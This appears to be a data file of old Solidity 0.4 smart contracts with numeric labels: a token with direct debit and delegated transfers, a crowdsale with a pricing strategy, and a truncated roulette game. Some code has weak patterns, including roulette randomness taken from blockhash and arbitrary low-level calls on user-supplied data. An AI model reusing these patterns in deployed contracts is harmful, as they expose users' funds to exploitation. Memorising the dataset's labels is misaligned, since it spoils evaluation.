function release() auth public {
require(lockStart == true);
require(release_map[dateArray[dateArray.length-1]] == false);
uint theDay = dayFor();
for (uint i=0; i<dateArray.length;i++) {
if(theDay > dateArray[i]) {
release_specific(dateArray[i]);
}
}
}
function dayFor() view public returns (uint) {
uint timestamp = block.timestamp;
return timestamp < startTime ? 0 : (timestamp - startTime) / 1 days + 1;
}
function regist(string key) auth public {
RegisterInterface(contract_addr).register(key);
}
} | 0 | 206 |
pragma solidity ^0.4.24;
pragma experimental "v0.5.0";
pragma experimental ABIEncoderV2;
library AddressExtension {
function isValid(address _address) internal pure returns (bool) {
return 0 != _address;
}
function isAccount(address _address) internal view returns (bool result) {
assembly {
result := iszero(extcodesize(_address))
}
}
function toBytes(address _address) internal pure returns (bytes b) {
assembly {
let m := mload(0x40)
mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, _address))
mstore(0x40, add(m, 52))
b := m
}
}
}
library Math {
struct Fraction {
uint256 numerator;
uint256 denominator;
}
function isPositive(Fraction memory fraction) internal pure returns (bool) {
return fraction.numerator > 0 && fraction.denominator > 0;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a * b;
require((a == 0) || (r / a == b));
}
function div(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a - b) <= a);
}
function add(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a + b) >= a);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x >= y ? x : y;
}
function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
r /= d;
} else {
r = mul(value / d, m);
}
}
function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
if (r % d == 0) {
r /= d;
} else {
r = (r / d) + 1;
}
} else {
r = mul(value / d, m);
if (value % d != 0) {
r += 1;
}
}
}
function mul(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.numerator, f.denominator);
}
function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.numerator, f.denominator);
}
function div(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.denominator, f.numerator);
}
function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.denominator, f.numerator);
}
function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) {
return Math.Fraction({
numerator: mul(x.numerator, y.numerator),
denominator: mul(x.denominator, y.denominator)
});
}
}
contract FsTKAuthority {
function isAuthorized(address sender, address _contract, bytes data) public view returns (bool);
function isApproved(bytes32 hash, uint256 approveTime, bytes approveToken) public view returns (bool);
function validate() public pure returns (bytes4);
}
contract Authorizable {
event SetFsTKAuthority(FsTKAuthority indexed _address);
modifier onlyFsTKAuthorized {
require(fstkAuthority.isAuthorized(msg.sender, this, msg.data));
_;
}
modifier onlyFsTKApproved(bytes32 hash, uint256 approveTime, bytes approveToken) {
require(fstkAuthority.isApproved(hash, approveTime, approveToken));
_;
}
FsTKAuthority internal fstkAuthority;
constructor(FsTKAuthority _fstkAuthority) internal {
fstkAuthority = _fstkAuthority;
}
function setFsTKAuthority(FsTKAuthority _fstkAuthority) public onlyFsTKAuthorized {
require(_fstkAuthority.validate() == _fstkAuthority.validate.selector);
emit SetFsTKAuthority(fstkAuthority = _fstkAuthority);
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address owner) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
contract SecureERC20 is ERC20 {
event SetERC20ApproveChecking(bool approveChecking);
function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool);
function increaseAllowance(address spender, uint256 value) public returns (bool);
function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool);
function setERC20ApproveChecking(bool approveChecking) public;
}
contract FsTKToken {
event Consume(address indexed from, uint256 value, bytes32 challenge);
event IncreaseNonce(address indexed from, uint256 nonce);
event SetupDirectDebit(address indexed debtor, address indexed receiver, DirectDebitInfo info);
event TerminateDirectDebit(address indexed debtor, address indexed receiver);
event WithdrawDirectDebitFailure(address indexed debtor, address indexed receiver);
event SetMetadata(string metadata);
event SetLiquid(bool liquidity);
event SetDelegate(bool isDelegateEnable);
event SetDirectDebit(bool isDirectDebitEnable);
struct DirectDebitInfo {
uint256 amount;
uint256 startTime;
uint256 interval;
}
struct DirectDebit {
DirectDebitInfo info;
uint256 epoch;
}
struct Instrument {
uint256 allowance;
DirectDebit directDebit;
}
struct Account {
uint256 balance;
uint256 nonce;
mapping (address => Instrument) instruments;
}
function spendableAllowance(address owner, address spender) public view returns (uint256);
function transfer(uint256[] data) public returns (bool);
function transferAndCall(address to, uint256 value, bytes data) public payable returns (bool);
function nonceOf(address owner) public view returns (uint256);
function increaseNonce() public returns (bool);
function delegateTransferAndCall(
uint256 nonce,
uint256 fee,
address to,
uint256 value,
bytes data,
address delegator,
uint8 v,
bytes32 r,
bytes32 s
) public returns (bool);
function directDebit(address debtor, address receiver) public view returns (DirectDebit);
function setupDirectDebit(address receiver, DirectDebitInfo info) public returns (bool);
function terminateDirectDebit(address receiver) public returns (bool);
function withdrawDirectDebit(address debtor) public returns (bool);
function withdrawDirectDebit(address[] debtors, bool strict) public returns (bool);
}
contract ERC20Like is SecureERC20, FsTKToken {
using AddressExtension for address;
using Math for uint256;
modifier liquid {
require(isLiquid);
_;
}
modifier canUseDirectDebit {
require(isDirectDebitEnable);
_;
}
modifier canDelegate {
require(isDelegateEnable);
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
bool public erc20ApproveChecking;
bool public isLiquid = true;
bool public isDelegateEnable;
bool public isDirectDebitEnable;
string public metadata;
mapping(address => Account) internal accounts;
constructor(string _metadata) public {
metadata = _metadata;
}
function balanceOf(address owner) public view returns (uint256) {
return accounts[owner].balance;
}
function allowance(address owner, address spender) public view returns (uint256) {
return accounts[owner].instruments[spender].allowance;
}
function transfer(address to, uint256 value) public liquid returns (bool) {
Account storage senderAccount = accounts[msg.sender];
senderAccount.balance = senderAccount.balance.sub(value);
accounts[to].balance += value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public liquid returns (bool) {
Account storage fromAccount = accounts[from];
Instrument storage senderInstrument = fromAccount.instruments[msg.sender];
fromAccount.balance = fromAccount.balance.sub(value);
senderInstrument.allowance = senderInstrument.allowance.sub(value);
accounts[to].balance += value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
if (erc20ApproveChecking) {
require((value == 0) || (spenderInstrument.allowance == 0));
}
emit Approval(
msg.sender,
spender,
spenderInstrument.allowance = value
);
return true;
}
function setERC20ApproveChecking(bool approveChecking) public {
emit SetERC20ApproveChecking(erc20ApproveChecking = approveChecking);
}
function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
require(spenderInstrument.allowance == expectedValue);
emit Approval(
msg.sender,
spender,
spenderInstrument.allowance = newValue
);
return true;
}
function increaseAllowance(address spender, uint256 value) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
emit Approval(
msg.sender,
spender,
spenderInstrument.allowance = spenderInstrument.allowance.add(value)
);
return true;
}
function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
uint256 currentValue = spenderInstrument.allowance;
uint256 newValue;
if (strict) {
newValue = currentValue.sub(value);
} else if (value < currentValue) {
newValue = currentValue - value;
}
emit Approval(
msg.sender,
spender,
spenderInstrument.allowance = newValue
);
return true;
}
function setMetadata0(string _metadata) internal {
emit SetMetadata(metadata = _metadata);
}
function setLiquid0(bool liquidity) internal {
emit SetLiquid(isLiquid = liquidity);
}
function setDelegate(bool delegate) public {
emit SetDelegate(isDelegateEnable = delegate);
}
function setDirectDebit(bool directDebit) public {
emit SetDirectDebit(isDirectDebitEnable = directDebit);
}
function spendableAllowance(address owner, address spender) public view returns (uint256) {
Account storage ownerAccount = accounts[owner];
return Math.min(
ownerAccount.instruments[spender].allowance,
ownerAccount.balance
);
}
function transfer(uint256[] data) public liquid returns (bool) {
Account storage senderAccount = accounts[msg.sender];
uint256 totalValue;
for (uint256 i = 0; i < data.length; i++) {
address receiver = address(data[i] >> 96);
uint256 value = data[i] & 0xffffffffffffffffffffffff;
totalValue = totalValue.add(value);
accounts[receiver].balance += value;
emit Transfer(msg.sender, receiver, value);
}
senderAccount.balance = senderAccount.balance.sub(totalValue);
return true;
}
function transferAndCall(
address to,
uint256 value,
bytes data
)
public
payable
liquid
notThis(to)
returns (bool)
{
require(
transfer(to, value) &&
data.length >= 68
);
assembly {
mstore(add(data, 36), value)
mstore(add(data, 68), caller)
}
require(to.call.value(msg.value)(data));
return true;
}
function nonceOf(address owner) public view returns (uint256) {
return accounts[owner].nonce;
}
function increaseNonce() public returns (bool) {
emit IncreaseNonce(msg.sender, accounts[msg.sender].nonce += 1);
}
function delegateTransferAndCall(
uint256 nonce,
uint256 fee,
address to,
uint256 value,
bytes data,
address delegator,
uint8 v,
bytes32 r,
bytes32 s
)
public
liquid
canDelegate
notThis(to)
returns (bool)
{
address signer = ecrecover(
keccak256(abi.encodePacked(nonce, fee, to, value, data, delegator)),
v,
r,
s
);
Account storage signerAccount = accounts[signer];
require(
nonce == signerAccount.nonce &&
(delegator == address(0) || delegator == msg.sender)
);
emit IncreaseNonce(signer, signerAccount.nonce += 1);
signerAccount.balance = signerAccount.balance.sub(value.add(fee));
accounts[to].balance += value;
emit Transfer(signer, to, value);
accounts[msg.sender].balance += fee;
emit Transfer(signer, msg.sender, fee);
if (!to.isAccount()) {
require(data.length >= 68);
assembly {
mstore(add(data, 36), value)
mstore(add(data, 68), signer)
}
require(to.call(data));
}
return true;
}
function directDebit(address debtor, address receiver) public view returns (DirectDebit) {
return accounts[debtor].instruments[receiver].directDebit;
}
function setupDirectDebit(
address receiver,
DirectDebitInfo info
)
public
returns (bool)
{
accounts[msg.sender].instruments[receiver].directDebit = DirectDebit({
info: info,
epoch: 0
});
emit SetupDirectDebit(msg.sender, receiver, info);
return true;
}
function terminateDirectDebit(address receiver) public returns (bool) {
delete accounts[msg.sender].instruments[receiver].directDebit;
emit TerminateDirectDebit(msg.sender, receiver);
return true;
}
function withdrawDirectDebit(address debtor) public liquid canUseDirectDebit returns (bool) {
Account storage debtorAccount = accounts[debtor];
DirectDebit storage debit = debtorAccount.instruments[msg.sender].directDebit;
uint256 epoch = (block.timestamp.sub(debit.info.startTime) / debit.info.interval).add(1);
uint256 amount = epoch.sub(debit.epoch).mul(debit.info.amount);
require(amount > 0);
debtorAccount.balance = debtorAccount.balance.sub(amount);
accounts[msg.sender].balance += amount;
debit.epoch = epoch;
emit Transfer(debtor, msg.sender, amount);
return true;
}
function withdrawDirectDebit(address[] debtors, bool strict) public liquid canUseDirectDebit returns (bool result) {
Account storage receiverAccount = accounts[msg.sender];
result = true;
uint256 total;
for (uint256 i = 0; i < debtors.length; i++) {
address debtor = debtors[i];
Account storage debtorAccount = accounts[debtor];
DirectDebit storage debit = debtorAccount.instruments[msg.sender].directDebit;
uint256 epoch = (block.timestamp.sub(debit.info.startTime) / debit.info.interval).add(1);
uint256 amount = epoch.sub(debit.epoch).mul(debit.info.amount);
require(amount > 0);
uint256 debtorBalance = debtorAccount.balance;
if (amount > debtorBalance) {
if (strict) {
revert();
}
result = false;
emit WithdrawDirectDebitFailure(debtor, msg.sender);
} else {
debtorAccount.balance = debtorBalance - amount;
total += amount;
debit.epoch = epoch;
emit Transfer(debtor, msg.sender, amount);
}
}
receiverAccount.balance += total;
}
}
contract FsTKAllocation {
function initialize(uint256 _vestedAmount) public;
}
contract FunderSmartToken is Authorizable, ERC20Like {
string public constant name = "Funder Smart Token";
string public constant symbol = "FST";
uint256 public constant totalSupply = 330000000 ether;
uint8 public constant decimals = 18;
constructor(
FsTKAuthority _fstkAuthority,
string _metadata,
address coldWallet,
FsTKAllocation allocation
)
Authorizable(_fstkAuthority)
ERC20Like(_metadata)
public
{
uint256 vestedAmount = totalSupply / 12;
accounts[allocation].balance = vestedAmount;
emit Transfer(address(0), allocation, vestedAmount);
allocation.initialize(vestedAmount);
uint256 releaseAmount = totalSupply - vestedAmount;
accounts[coldWallet].balance = releaseAmount;
emit Transfer(address(0), coldWallet, releaseAmount);
}
function setMetadata(string infoUrl) public onlyFsTKAuthorized {
setMetadata0(infoUrl);
}
function setLiquid(bool liquidity) public onlyFsTKAuthorized {
setLiquid0(liquidity);
}
function setERC20ApproveChecking(bool approveChecking) public onlyFsTKAuthorized {
super.setERC20ApproveChecking(approveChecking);
}
function setDelegate(bool delegate) public onlyFsTKAuthorized {
super.setDelegate(delegate);
}
function setDirectDebit(bool directDebit) public onlyFsTKAuthorized {
super.setDirectDebit(directDebit);
}
function transferToken(ERC20 erc20, address to, uint256 value) public onlyFsTKAuthorized {
erc20.transfer(to, value);
}
} | 0 | 870 |
pragma solidity ^0.4.6;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable, SafeMath {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount);
event Refund(address investor, uint weiAmount);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
investInternal(msg.sender);
}
function investInternal(address receiver) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver], weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver], tokenAmount);
weiRaised = safeAdd(weiRaised, weiAmount);
tokensSold = safeAdd(tokensSold, tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = safeAdd(loadedRefund, msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = safeAdd(weiRefunded, weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract WWAMPricingStrategy is PricingStrategy, Ownable, SafeMath {
uint round1BeginsAt;
uint round2BeginsAt;
uint finalRoundBeginsAt;
uint baseRate = 5000000000000;
enum CurrentRound { Round1, Round2, Final }
function WWAMPricingStrategy(uint _round1BeginsAt, uint _round2BeginsAt, uint _finalRoundBeginsAt) {
round1BeginsAt = _round1BeginsAt;
round2BeginsAt = _round2BeginsAt;
finalRoundBeginsAt = _finalRoundBeginsAt;
}
function getCurrentRound() public returns (CurrentRound){
if (now < round2BeginsAt)
return CurrentRound.Round1;
else if (now < finalRoundBeginsAt)
return CurrentRound.Round2;
return CurrentRound.Final;
}
function tokensToWei(uint tokens) public constant returns (uint) {
return safeMul(tokens, baseRate);
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
if (value < 10 finney)
return 0;
if (getCurrentRound() == CurrentRound.Round1)
return safeMul(safeDiv(safeDiv(value, baseRate), 100), 115);
else if (getCurrentRound() == CurrentRound.Round2)
return safeMul(safeDiv(safeDiv(value, baseRate), 100), 110);
return value / baseRate;
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract WWAMBountyToken is StandardToken, Ownable {
mapping (address => bool) public bountyAgents;
event BountyAgentChanged(address addr, bool state );
function revokeTokens(address receiver, uint tokenAmount) onlyBountyAgent {
if (balances[receiver] >= tokenAmount) {
totalSupply = safeSub(totalSupply, tokenAmount);
balances[receiver] = safeSub(balances[receiver], tokenAmount);
}
}
function setBountyAgent(address addr, bool state) onlyOwner public {
bountyAgents[addr] = state;
BountyAgentChanged(addr, state);
}
modifier onlyBountyAgent() {
if(!bountyAgents[msg.sender]) {
throw;
}
_;
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = safeAdd(totalSupply, amount);
balances[receiver] = safeAdd(balances[receiver], amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract WWAMCrowdsale is Crowdsale {
uint investmentCapInWei = 500000000000000000000000;
uint public bountyTokens = 0;
mapping (address => uint256) public bountyRewards;
function WWAMCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end)
Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, 500000000000000000000) {
}
function assignBountyTokens(address receiver, uint tokenAmount) onlyOwner {
uint bountyWeiAmount = WWAMPricingStrategy(pricingStrategy).tokensToWei(tokenAmount);
uint totalBountyWeiAmount = WWAMPricingStrategy(pricingStrategy).tokensToWei(bountyTokens);
if (safeAdd(bountyWeiAmount, totalBountyWeiAmount) >= (investmentCapInWei / 100))
throw;
bountyRewards[receiver] = safeAdd(bountyRewards[receiver], tokenAmount);
bountyTokens = safeAdd(bountyTokens, tokenAmount);
assignTokens(receiver, tokenAmount);
}
function revokeBountyTokens(address receiver, uint tokenAmount) onlyOwner {
if (bountyRewards[receiver] < tokenAmount)
throw;
bountyTokens = safeSub(bountyTokens, tokenAmount);
bountyRewards[receiver] = safeSub(bountyRewards[receiver], tokenAmount);
WWAMBountyToken bountyToken = WWAMBountyToken(token);
bountyToken.revokeTokens(receiver, tokenAmount);
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool) {
return weiRaisedTotal > investmentCapInWei;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= investmentCapInWei;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 502 |
pragma solidity ^0.4.23;
contract RouletteRules {
function getTotalBetAmount(bytes32 first16, bytes32 second16) public pure returns(uint totalBetAmount);
function getBetResult(bytes32 betTypes, bytes32 first16, bytes32 second16, uint wheelResult) public view returns(uint wonAmount);
}
contract OracleRoulette {
RouletteRules rouletteRules;
address developer;
address operator;
bool shouldGateGuard;
uint sinceGateGuarded;
constructor(address _rouletteRules) public payable {
rouletteRules = RouletteRules(_rouletteRules);
developer = msg.sender;
operator = msg.sender;
shouldGateGuard = false;
sinceGateGuarded = ~uint(0);
}
modifier onlyDeveloper() {
require(msg.sender == developer);
_;
}
modifier onlyOperator() {
require(msg.sender == operator);
_;
}
modifier onlyDeveloperOrOperator() {
require(msg.sender == developer || msg.sender == operator);
_;
}
modifier shouldGateGuardForEffectiveTime() {
require(shouldGateGuard == true && (sinceGateGuarded - now) > 10 minutes);
_;
}
function changeDeveloper(address newDeveloper) external onlyDeveloper {
developer = newDeveloper;
}
function changeOperator(address newOperator) external onlyDeveloper {
operator = newOperator;
}
function setShouldGateGuard(bool flag) external onlyDeveloperOrOperator {
if (flag) sinceGateGuarded = now;
shouldGateGuard = flag;
}
function setRouletteRules(address _newRouletteRules) external onlyDeveloperOrOperator shouldGateGuardForEffectiveTime {
rouletteRules = RouletteRules(_newRouletteRules);
}
function destroyContract() external onlyDeveloper shouldGateGuardForEffectiveTime {
selfdestruct(developer);
}
function withdrawFund(uint amount) external onlyDeveloper shouldGateGuardForEffectiveTime {
require(address(this).balance >= amount);
msg.sender.transfer(amount);
}
function () external payable {}
uint BET_UNIT = 0.0002 ether;
uint BLOCK_TARGET_DELAY = 0;
uint constant MAXIMUM_DISTANCE_FROM_BLOCK_TARGET_DELAY = 250;
uint MAX_BET = 1 ether;
uint MAX_GAME_PER_BLOCK = 10;
function setBetUnit(uint newBetUnitInWei) external onlyDeveloperOrOperator shouldGateGuardForEffectiveTime {
require(newBetUnitInWei > 0);
BET_UNIT = newBetUnitInWei;
}
function setBlockTargetDelay(uint newTargetDelay) external onlyDeveloperOrOperator {
require(newTargetDelay >= 0);
BLOCK_TARGET_DELAY = newTargetDelay;
}
function setMaxBet(uint newMaxBet) external onlyDeveloperOrOperator {
MAX_BET = newMaxBet;
}
function setMaxGamePerBlock(uint newMaxGamePerBlock) external onlyDeveloperOrOperator {
MAX_GAME_PER_BLOCK = newMaxGamePerBlock;
}
event GameError(address player, string message);
event GameStarted(address player, uint gameId, uint targetBlock);
event GameEnded(address player, uint wheelResult, uint wonAmount);
function placeBet(bytes32 betTypes, bytes32 first16, bytes32 second16) external payable {
if (shouldGateGuard == true) {
emit GameError(msg.sender, "Entrance not allowed!");
revert();
}
uint betAmount = rouletteRules.getTotalBetAmount(first16, second16) * BET_UNIT;
if (betAmount == 0 || msg.value != betAmount || msg.value > MAX_BET) {
emit GameError(msg.sender, "Wrong bet amount!");
revert();
}
uint targetBlock = block.number + BLOCK_TARGET_DELAY;
uint historyLength = gameHistory.length;
if (historyLength > 0) {
uint counter;
for (uint i = historyLength - 1; i >= 0; i--) {
if (gameHistory[i].targetBlock == targetBlock) {
counter++;
if (counter > MAX_GAME_PER_BLOCK) {
emit GameError(msg.sender, "Reached max game per block!");
revert();
}
} else break;
}
}
Game memory newGame = Game(uint8(GameStatus.PENDING), 100, msg.sender, targetBlock, betTypes, first16, second16);
uint gameId = gameHistory.push(newGame) - 1;
emit GameStarted(msg.sender, gameId, targetBlock);
}
function resolveBet(uint gameId) external {
Game storage game = gameHistory[gameId];
if (game.status != uint(GameStatus.PENDING)) {
emit GameError(game.player, "Game is not pending!");
revert();
}
if (block.number <= game.targetBlock) {
emit GameError(game.player, "Too early to resolve bet!");
revert();
}
if (block.number - game.targetBlock > MAXIMUM_DISTANCE_FROM_BLOCK_TARGET_DELAY) {
game.status = uint8(GameStatus.REJECTED);
emit GameError(game.player, "Too late to resolve bet!");
revert();
}
bytes32 blockHash = blockhash(game.targetBlock);
if (blockHash == 0) {
game.status = uint8(GameStatus.REJECTED);
emit GameError(game.player, "blockhash() returned zero!");
revert();
}
game.wheelResult = uint8(keccak256(blockHash, game.player, address(this))) % 37;
uint wonAmount = rouletteRules.getBetResult(game.betTypes, game.first16, game.second16, game.wheelResult) * BET_UNIT;
game.status = uint8(GameStatus.RESOLVED);
if (wonAmount > 0) {
game.player.transfer(wonAmount);
}
emit GameEnded(game.player, game.wheelResult, wonAmount);
}
Game[] private gameHistory;
enum GameStatus {
INITIAL,
PENDING,
RESOLVED,
